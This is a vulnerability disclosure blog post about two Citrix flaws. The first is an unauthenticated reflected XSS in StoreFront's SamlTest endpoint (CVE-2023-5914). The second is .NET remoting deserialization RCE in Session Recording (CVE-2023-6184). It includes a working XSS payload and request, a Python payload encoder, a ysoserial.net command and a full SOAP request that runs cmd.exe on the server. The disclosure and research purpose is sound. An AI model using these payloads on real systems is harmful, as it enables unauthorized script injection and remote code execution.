Research Notes
February 20, 2024

Continuing the Citrix Saga: CVE-2023-5914 & CVE-2023-6184

No items found.
Creative Commons license

While most of the attention for vulnerabilities within Citrix has been on their NetScaler VPN product, we noticed that there were several other products offered by Citrix that require an on-premise deployment of a web application, that is sometimes internet facing. This piqued our interest and led us to investigate the security of these self-hosted applications.

In late 2023, our Security Research team discovered two vulnerabilities. We worked with the Citrix team for this disclosure.

CVE-2023-5914 in Citrix StoreFront, which is an enterprise app store for users that aggregates and presents virtual app and desktop resources from on-premises and hybrid deployments.

CVE-2023-6184 in Citrix Session Recording, which captures and archives screen updates, including mouse activity and visible output of keystrokes.

Both of these applications are written in C#, and the vulnerabilities we discovered in them are interesting from a source code analysis perspective as they both abuse quirks of the C# ecosystem.

For Citrix StoreFront, we discovered CVE-2023-5914, which is a reflected Cross-Site Scripting issue which is exploitable without authentication. This vulnerability was exploitable through coercing an error message during an XML parsing procedure in the SSO flow.

And secondly, for Citrix Session Recording, we discovered CVE-2023-6184, an RCE vulnerability caused by insecure .NET remoting configurations allowing for insecure deserialization.

We were able to exploit this issue on our target without authentication in the wild, but this vulnerability seems to require authentication when installed under default configurations which is why it has a lower CVSS score of 5.0 from Citrix.

Coercing XML Deserialization Errors to Achieve XSS in Citrix StoreFront (CVE-2023-5914)

After decompiling the application with dnSpy we ran a search for all classes which inherited from BaseMvcController. We then looked at each result and verified which endpoints on each were accessible without authentication. One of the endpoints we found was <span class="code_single-line">/Citrix/teststoreAuth/SamlTest</span> on the <span class="code_single-line">SamlTestController</span>The code for this method is shown below.

[AcceptVerbs(HttpVerbs.Get | HttpVerbs.Post)]
public ActionResult Test()
{
    try
    {
        if (base.Request.HttpMethod.Equals(HttpVerbs.Get.ToString(), StringComparison.OrdinalIgnoreCase))
        {
            return StartRequest();
        }
        string text = base.Request.Unvalidated.Form["SAMLResponse"];
        if (string.IsNullOrWhiteSpace(text))
        {
            throw new NullReferenceException(Resources.SamlTestSamlResponseNotFound);
        }
        SamlResult samlResult = SamlManager.ProcessPackedSamlData(text);
        if (samlResult == null)
        {
            return new HttpStatusCodeResult(HttpStatusCode.Forbidden);
        }
        XmlDocument xmlDocument = ServiceLocation.GetInstance<FormsTemplateEngine>().RenderTemplate("SamlTest", LocaliserConsumerAttribute.ParseUserLanguages(base.Request.UserLanguages), new
        {
            identity = samlResult.Name,
            assertion = samlResult.Assertion,
            claims = samlResult.Identity.Claims.Select((Claim claim) => claim.ToString()).ToList()
        });
        return new ContentResult
        {
            Content = xmlDocument.InnerXml,
            ContentType = "text/html"
        };
    }
    catch (Exception arg)
    {
        return new ContentResult
        {
            Content = $"<html><body><h1>Exception</h1><div>{arg}</div></body></html>",
            ContentType = "text/html"
        };
    }
}

What we immediately noticed was the string interpolation with no sanitisation in the exception handler. If we found an exception message that reflected user-controllable input we could achieve a cross-site scripting attack. We searched through SamlManager.ProcessPackedSamlData to see what codepaths threw exceptions.

The XML parsing exceptions often contained reflected input, however it was usually restricted and did not allow the characters needed to exploit the vulnerability. After enumerating the XML error messages used by the dotnet runtime here we found <span class="code_single-line">'{0}' is an invalid xml:space value.</span>.

Using this, we created the following XML payload.

<foo xml:space="&lt;script&gt;alert(1)&lt;/script&gt;"></foo>

The payload was then Base64 encoded, JSON encoded, compressed and Base64 encoded again. This gave us the following request / response demonstrating the cross-site scripting.

POST /Citrix/teststoreAuth/SamlTest HTTP/2
Host: 192.168.1.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 167

SAMLResponse=q1YKdvT1CUotLsjPK05VskLhBrhHlSVVOpkkhZebJRs7ZUQahVp6ZkYVp7iUVEUaexUkewTmRhkHmkeGV%2bQk5wXm%2bwZn5yZ5BJr7GPtlJefmlKc4R%2bWluBRnBmSVl0XlWpYFpNvaKtUCAA%3d%3d

HTTP/2 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
Set-Cookie: Citrix_AuthSvc=qfa2vmj5vg2kb2xhvqakygh4; path=/Citrix/teststoreAuth; secure; HttpOnly; SameSite=Lax
Date: Mon, 04 Sep 2023 06:00:02 GMT
Content-Length: 1006
<html><body><h1>Exception</h1><div>System.Xml.XmlException: '<script>alert(1)</script>' is an invalid xml:space value. Line 1, position 6.
   at System.Xml.XmlTextReaderImpl.Throw(Exception e)
   at System.Xml.XmlTextReaderImpl.OnXmlReservedAttribute(NodeData attr)
   at System.Xml.XmlTextReaderImpl.ParseAttributes()
   at System.Xml.XmlTextReaderImpl.ParseElement()
   at System.Xml.XmlTextReaderImpl.ParseDocumentContent()
   at System.Xml.XmlLoader.Load(XmlDocument doc, XmlReader reader, Boolean preserveWhitespace)
   at System.Xml.XmlDocument.Load(XmlReader reader)
   at System.Xml.XmlDocument.LoadXml(String xml)
   at Citrix.DeliveryServices.Authentication.Saml20.SamlProtocol.GetSamlAttributeFromResponse(String signInResponseResult)
   at Citrix.DeliveryServices.Authentication.Saml20.SamlManager.ProcessSamlResponse(String base64EncodedResponse, Boolean compressed)
   at Citrix.DeliveryServices.Authentication.Saml20.Forms.Controllers.SamlTestController.Test()</div></body></html>
   
   

The following encoder script can be used to generate payloads for this endpoint:

import urllib.parse
import base64
import zlib

def deflate(data, compresslevel=9):
    compress = zlib.compressobj(
            compresslevel,
            zlib.DEFLATED,
            -zlib.MAX_WBITS,
            zlib.DEF_MEM_LEVEL,
            0
    )
    deflated = compress.compress(data)
    deflated += compress.flush()
    return deflated

foo = open(0).read()
foo = '{"SAMLResponse":"SAMLResponse' + base64.b64encode(foo.encode()).decode() + '"}'
foo = base64.b64encode(deflate(foo.encode()))
print(end=urllib.parse.quote(foo))

RCE through .NET Remoting in Citrix Session Recording (CVE-2023-6184)

While looking at one of our targets’ attack surface, we came across what looked like a default IIS page. A directory brute force quickly showed that the server was in fact an instance of Citrix Session Recording, housed under the virtual directory <span class="code_single-line">/WebPlayer</span>.

Having discovered serious vulnerabilities in other Citrix products, this was a promising lead. Here, however, we were at a dead end. With no indications or hints in the page source about the underlying functionality of the application, to make further progress it would be necessary to dig into source code.

Digging into the Application

Citrix Session recording is not widely available, even if you have an active account in their downloads portal. Our target was running Citrix Session Recording 2308, which was the latest version at the time. We were able to get the ISO for 2203, <span class="code_single-line">Citrix_Virtual_Apps_and_Desktops_7_2203.iso</span>. This was not ideal but we assumed that the main functionality of the application would be the same.

The application is written in .NET and only runs on IIS on Windows. Additionally, it requires a bunch of prerequisite setup. After a day of fiddling around with setup and VirtualBox, we finally had a local copy of the application installed and running, and were ready to inspect the source of the application. By default, Session Recording appears to use local Windows user authentication to gate access to the entire site. This did not match the behavior of our target (we could connect to it via the external internet with no auth) so we disabled Windows local auth in IIS and carried on.

Finding the Bug

One of the core parts of any IIS application is the <span class="code_single-line">web.config</span> file. Not only does it configure properties of the site, but it specifies routes, registers DLLs, catalogues authenticated and unauthenticated directories, among other interesting things. In this case, something caught our attention:

<system.runtime.remoting>
<application>
  <service>
    <wellknown
       mode="Singleton"
       type="SmAudBroker.FileSearch, SsRecBroker"
       objectUri="Player.rem"
        />
  </service>
  <service>
    <wellknown
       mode="Singleton"
       type="SmAudBroker.RestApiStat, SsRecBroker"
       objectUri="RestApiStat.rem"
        />
  </service>
  <!-- .. snip .. -->
  <channels>
    <channel
      name="SsRecBrokerChannel"
      priority="100"
      ref="http">
      <serverProviders>
        <formatter
          ref="soap"
          typeFilterLevel="Full" />
        <formatter
          ref="binary"
          typeFilterLevel="Full" />
        <provider
          ref="wsdl" />
      </serverProviders>
    </channel>
  </channels>
</application>
</system.runtime.remoting>

The application exposes SOAP endpoints using System Runtime Remoting, presumably to communicate to Session Recording clients. These endpoints are installed under the <span class="code_single-line">/SessionRecordingBroker</span> path:

public class Installer : Installer
{
	// ...

	private const string IisVirtualDirName = "SessionRecordingBroker";

	private const string AppDataDirName = "App_Data";

	private const string ServerFeatureName = "SsRecServer";

	private const string VirtualDirectoryCreatedKey = "VirtualDirectoryCreated";

	// ...

	public Installer()
	{
		InitializeComponent();
		appEventLogInstaller.Log = "Application";
		appEventLogInstaller.Source = "Citrix Session Recording Broker";
		Trace.Listeners.Add(new ConsoleTraceListener());
	}

Visiting <span class="code_single-line">/SessionRecordingBroker/RestApiStat.rem</span>, we get an internal server error, suggesting the endpoint is correct.

What is interesting about remoting is that it uses .NET serialization to communicate, which is widely known to lead to RCE. And in this case we have <span class="code_single-line">typeFilterLevel="Full"</span>, which means there are no restrictions on the type of objects we can pass.

Exploitation

This is not the first time an application has exposed remoting services like this. In 2019 Soroush Dalili wrote a blog post on how to exploit IIS applications configured like this. The blog post the condition under which a SOAP-formatted ysoserial.net payload will execute:

  • The HTTP verb should be POST or M-POST
  • The SOAPAction header should not be empty
  • Removal of <span class="code_single-line"> &lt;SOAP-ENV:Body&gt;</span> and <span class="code_single-line"> &lt;/SOAP-ENV:Body&gt;</span> tags from the payloads

First, let’s create the payload:

.\ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c 'cmd.exe /C echo pwned > C:\Users\Public\Downloads\PWNED.txt'

Then, removing the <span class="code_single-line">&lt;SOAP-ENV:Body&gt;</span> tags and adding a <span class="code_single-line">SOAPAction</span> header, we get the following request:

POST /SessionRecordingBroker/RestApiStat.rem HTTP/2
Host: aaa.bbb.ccc.ddd
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Cache-Control: max-age=0
Soapaction: "x"
Content-Length: 1673

<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<a1:TextFormattingRunProperties id="ref-1"
xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3">&#60;?xml version=&#34;1.0&#34;
encoding=&#34;utf-16&#34;?&#62;
&#60;ObjectDataProvider MethodName=&#34;Start&#34;
IsInitialLoadEnabled=&#34;False&#34;
xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
xmlns:sd=&#34;clr-namespace:System.Diagnostics;assembly=System&#34;
xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;&#62;
   &#60;ObjectDataProvider.ObjectInstance&#62;
     &#60;sd:Process&#62;
       &#60;sd:Process.StartInfo&#62;
         &#60;sd:ProcessStartInfo Arguments=&#34;/c cmd.exe /C echo
pwned &#38;gt; C:\Users\Public\Downloads\PWNED.txt&#34;
StandardErrorEncoding=&#34;{x:Null}&#34;
StandardOutputEncoding=&#34;{x:Null}&#34; UserName=&#34;&#34;
Password=&#34;{x:Null}&#34; Domain=&#34;&#34;
LoadUserProfile=&#34;False&#34; FileName=&#34;cmd&#34; /&#62;
       &#60;/sd:Process.StartInfo&#62;
     &#60;/sd:Process&#62;
   &#60;/ObjectDataProvider.ObjectInstance&#62;
&#60;/ObjectDataProvider&#62;</ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Envelope>

Sending this request, we can indeed see that on our local setup, we create a file in the public directory:

Sending a DNS lookup based request to our target, we were able to confirm the RCE worked on the latest version as well.

Citrix has stated that this issue requires authentication to exploit in default configurations, however from our experience we found that we were able to exploit this in the wild without authentication. There is a chance that these endpoints are accessible without any authentication.

As always, customers of our Attack Surface Management platform have been notified for the presence of this vulnerability. We continue to perform original security research in an effort to inform our customers about zero-day and N-day vulnerabilities in their attack surface.

Written by:
Dylan Pindur
Shubham Shah
Adam Kues
Your subscription could not be saved. Please try again.
Your subscription has been successful.

Get updates on our research

Subscribe to our newsletter and stay updated on the newest research, security advisories, and more!

Ready to get started?

Get on a call with our team and learn how Assetnote can change the way you secure your attack surface. We'll set you up with a trial instance so you can see the impact for yourself.